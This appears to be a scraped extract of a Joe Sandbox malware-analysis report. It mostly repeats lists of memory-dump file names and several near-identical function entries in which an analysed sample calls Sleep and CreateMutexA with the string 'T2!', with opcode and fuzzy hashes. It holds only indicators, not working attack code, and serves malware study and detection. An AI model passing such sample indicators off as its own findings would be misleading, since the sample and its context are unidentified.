Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2!
API String ID: 1464230837-904731473
Opcode ID: 022458c3a90a26eeabfe7eae8bdbcf403bf906536f19ce4946b1141fd89eb21b
Instruction ID: b9d4e0d023a0c3d39c10c93b08fcb26360422178b3743f329ed48a0fc1bcca8c
Opcode Fuzzy Hash: 022458c3a90a26eeabfe7eae8bdbcf403bf906536f19ce4946b1141fd89eb21b
Instruction Fuzzy Hash: 4D314A31700204DBEB08EB78DD98BEDBB62EFD5314F60422CE454DB2D1C7769A818752

Function 001BA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 001BA963
CreateMutexA.KERNEL32(00000000,00000000,00213254), ref: 001BA981

Strings

T2!, xrefs: 001BA970

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2!
API String ID: 1464230837-904731473
Opcode ID: 301e7873397a9fe7afa37f400a2a1fa31f8643180469c8d6f56cdb99b039e787
Instruction ID: fa7099852af8b0f8f003c4086b89bb41b31dcaac9c421e8b0a856b0c16d45430
Opcode Fuzzy Hash: 301e7873397a9fe7afa37f400a2a1fa31f8643180469c8d6f56cdb99b039e787
Instruction Fuzzy Hash: 673126317102009BEB08EB7CDDD9BEDB762EFD1314F648228E454972D1C7769A808652

Function 001BA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 001BA963
CreateMutexA.KERNEL32(00000000,00000000,00213254), ref: 001BA981

Strings

T2!, xrefs: 001BA970

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2!
API String ID: 1464230837-904731473
Opcode ID: a537c2a6b657f521661c0a8d5fd101df69b1faa3181b74b4cfe4d891ab169c32
Instruction ID: 1608634728207bb731640eba27345d439092f88ad7d3dbae7c31bf1f2a323798
Opcode Fuzzy Hash: a537c2a6b657f521661c0a8d5fd101df69b1faa3181b74b4cfe4d891ab169c32
Instruction Fuzzy Hash: 8E3146317012009BEB08EB7CDDD9BEDB772EFD6314F608228E454AB2D1D7769A808752

Function 001BA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 001BA963
CreateMutexA.KERNEL32(00000000,00000000,00213254), ref: 001BA981

Strings

T2!, xrefs: 001BA970

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2!
API String ID: 1464230837-904731473
Opcode ID: 526d0300d7895a62cd5a328478c3424a57b9eb06295fc9ecd1b3d225532909fa
Instruction ID: 1c5a8f365674bb68001737c79b78a46140bfdb8cc4c3d16b3fc99dfd5171f1c4
Opcode Fuzzy Hash: 526d0300d7895a62cd5a328478c3424a57b9eb06295fc9ecd1b3d225532909fa
Instruction Fuzzy Hash: B4314A316002009BEB08EB78D9D9BEDB762EFE1314F644228E4549B2D5C7759A808692

Function 001BA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 001BA963
CreateMutexA.KERNEL32(00000000,00000000,00213254), ref: 001BA981

Strings

T2!, xrefs: 001BA970

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
